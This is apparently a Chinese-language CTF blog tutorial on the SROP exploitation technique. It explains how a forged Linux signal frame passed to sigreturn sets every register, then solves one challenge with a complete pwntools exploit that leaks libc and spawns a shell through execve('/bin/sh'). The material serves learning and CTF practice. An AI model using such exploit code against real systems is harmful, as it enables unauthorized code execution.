boxmoe_header_banner_img

all in pwn

文章导读

SROP


avatar
cx330 2026年8月13日 101

前言:本章记录了SROP这个高级ROP利用技巧,做题的时候gadget不够用就可以掏出SROP,梳理经典例题与各种小细节>_<

0x01 什么是SROP

普通ROP需要大量可控的gadget来控制各个寄存器,如果题目里几乎找不到可用gadget,该怎么完成系统调用?

SROP全称Sigreturn‑Oriented‑Programming,信号返回面向编程。它的底层依托Linux的信号Signal机制。

当程序触发信号时,内核会调用frame,在用户栈上搭建一大块Signal Frame信号帧,把当前所有寄存器的值全部保存到这个frame结构体里面。等信号处理完毕,执行sigreturn系统调用,内核就会读取栈上这份frame,把里面的值写回各个寄存器,完成现场恢复。

重要的是,这份Signal Frame是存放在用户地址空间,我们用户态是可以读写修改这块栈内存的。内核不会校验这份frame是不是它自己之前保存下来的。

也就是说:只要我们在栈上伪造一整个恶意Signal Frame,再触发sigreturn系统调用,内核就会无条件把我们伪造的所有寄存器值恢复出来。这就是SROP攻击的核心。

简单来说,SROP就是伪造Signal Frame,调用sigreturn,由内核帮我们批量设置全部寄存器,以此实现任意系统调用。

0x02 如何实现SROP

想要实现SROP,我们先来思考一个问题:我们要欺骗内核恢复伪造的信号帧,那程序需要给我们提供什么基础条件?

我们需要的是,伪造Signal Frame,调用sigreturn,因此,首先要拥有栈溢出漏洞,栈空间足够大,能够完整放下一整个SigreturnFrame信号帧结构体。其次,要有可以把rax设置为15的gadget,15就是sigreturn系统调用号。并且,存在syscall;ret指令gadget。

这样,执行syscall才会触发sigreturn,内核才会去栈上读取我们伪造好的Signal Frame。

我们可以手动手搓这个结构体,但是pwntools封装好了SigreturnFrame。在原生内核sigframe结构体中存在pretcode跳板代码与siginfo信号信息两大成员,pwntools已经帮我们处理结构体对齐,省略pretcode、siginfo部分,我们只需要关心寄存器相关字段。

sigframe = SigreturnFrame()
sigframe.rax = 59        //execve系统调用号
sigframe.rdi = b'/bin/sh'
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_addr //恢复寄存器之后,跳转执行syscall。

0x03 SROP经典例题

IDA分析构思整体思路

首先,借助IDA对本题进行逆向分析。

我们先来查看main函数。

查看sub_11B5,并没有什么值得利用的东西,查看sub_1347。

首先,printf函数打印了puts函数的地址,自然而然的就能想到,可以接受并求出Libc的基址,拿到shell。

观察buf的大小,buf距离rbp为0x110,而read最多只允许读入0x100字节,无法覆盖返回地址,传统栈溢出劫持RIP的思路行不通。

再往后看,我们发现syscall(15),这就是sigreturn系统调用。而且我们甚至省去了填写rax等于15的步骤,程序内部直接写死syscall(15),不需要我们寻找pop rax这类gadget去手动修改rax寄存器,就能调用sigreturn。

此题的思路已经很明确了:

  • 接受puts的地址计算得到libc基址,找到/bin/sh字符串地址。
  • 使用pwnrools构造sigreturn,调用execve。
  • 将payload发送给read,写入Buf缓冲区。
  • 程序执行syscall(15),触发sigreturn,内核解析伪造帧,执行execve拿到shell。

libc基址计算

计算libc基址的方法和之前一样,但需要注意加上keepends=False。

keepends=False,代表丢弃匹配到的这一段字符串本身,只返回后面剩下的数据。

简单来讲,程序输出:Here is my gift: 0x7ffff7a84xxx\n
如果keepends=True,返回结果会带上匹配的那串Here is my gift:,拿到完整一整行。
keepends=False:拿到的结果是0x7ffff7a84xxx\n,把匹配的Here is my gift:直接丢掉。

如果忘记设置keepends=False,返回的字符串包含匹配前缀,后续转数字int()解析就会直接报错。我们这里只想要后面打印出来的puts地址,所以设置keepends=False。

另外,我们还注意到,下断点时,多出来$rebase。这是为什么呢?

IDA展示的是文件偏移,也就是程序磁盘里的相对地址。当程序开启PIE保护,程序运行时会被操作系统加载到一个随机基地址。运行时真实地址 = 程序基地址 + IDA静态偏移。

rebase()的作用,就是把IDA的静态偏移,换算成GDB调试环境下内存里真正的虚拟地址。

举个例子:
IDA中漏洞函数sub_1347偏移是0x1347,gdb执行vmmap看到程序基址:0x555555554000,rebase之后真实断点地址=0x555555554000+0x1347。

如果直接拿IDA原始偏移直接下断点,GDB会直接去这个绝对数字地址找代码,那块内存没有我们的程序,断点无效,根本断不住目标函数。

Frame

接下来,就是写frame。我们使用pwntools的SigreturnFrame()构造伪造信号帧,不用我们手动对照内核结构体偏移去拼凑字节。

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = next(libc.search(b"/bin/sh"))
frame.rip = next(libc.search(asm("syscall; ret;"), executable=True))

题目代码自带syscall(15),这个rax=15用来触发rt_sigreturn,我们exp不用管它。frame.rax = 59,这是信号帧结构体内部的rax,等内核恢复寄存器之后,这个rax才代表execve系统调用。

Payload

现在,我们已经填充好了sigreturn,只需要处理好payload发送出去,等待程序执行流走到syscall(15)触发系统调用回收。

flat([frame])会把我们构造好的Sigreturn Frame对象,直接转换成二进制字节流。使用ljust(0x100,b”\x00″)把总长度补到0x100,不足部分用空字节填充,刚好适配read的读取上限。

那如果我们不做ljust(0x100,b”\x00)补齐,会发生什么?

我们的SigreturnFrame本身有固定大小,它的字节长度是小于0x100的。read函数最多读取0x100字节,如果payload长度很短,buf剩下的空间就会保留栈上原本遗留的脏垃圾数据。

当执行到syscall(15)触发rt_sigreturn,内核解析信号帧不单单读取我们构造的那部分,它会读取一整个sigcontext结构体大小。后面跟着栈上残留的脏字节,就会被当成信号帧的一部分。

各个寄存器被脏数据篡改,rax、rdi、rip全部变成随机乱值。

因此,这里的补齐,本质目的是把信号帧结构体的全部空间清零,不让栈上旧脏数据干扰sigcontext。

payload[8:] 代表从第8个字节开始截取,舍弃前面0‑7这8个字节。

为什么要砍掉开头8字节?pwntools把Sigreturn Frame对象经过flat()序列化之后,生成的字节流最前面会多出8字节无关垃圾数据,并不是sigcontext信号帧的真正内容。执行payload[8:]把头部8字节丢掉,真正的sigcontext结构体就来到payload最开头。

完整EXP

拼凑这些,就能得到完整的EXP。

from pwn import *
elf = ELF("./srop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch = elf.arch, os = elf.os)
context.log_level = "debug"
p = process([elf.path])

# gdb.attach(p, "b *$rebase(0x13BC)\nc")
p.recvuntil(b"Here is my gift: ")
libc.address = int(p.recvline(keepends=False),16) - libc.sym["puts"]
success(hex(libc.address))

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = next(libc.search(b"/bin/sh"))
frame.rip = next(libc.search(asm("syscall; ret;"), executable=True))


payload = flat([frame])
payload = payload.ljust(0x100, b"\x00")
p.sendafter(b"Please input magic message: ",payload[8:])

p.interactive()

写到这里,就能拿到shell啦!

小结

这是一道特殊的SROP例题。没有传统栈溢出,依靠题目自带syscall(15)触发rt_sigreturn,并直接把Sigreturn Frame写入buf,发送payload,内核解析伪造帧,最终拿到shell。

因此,SROP不一定需要劫持返回地址。



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码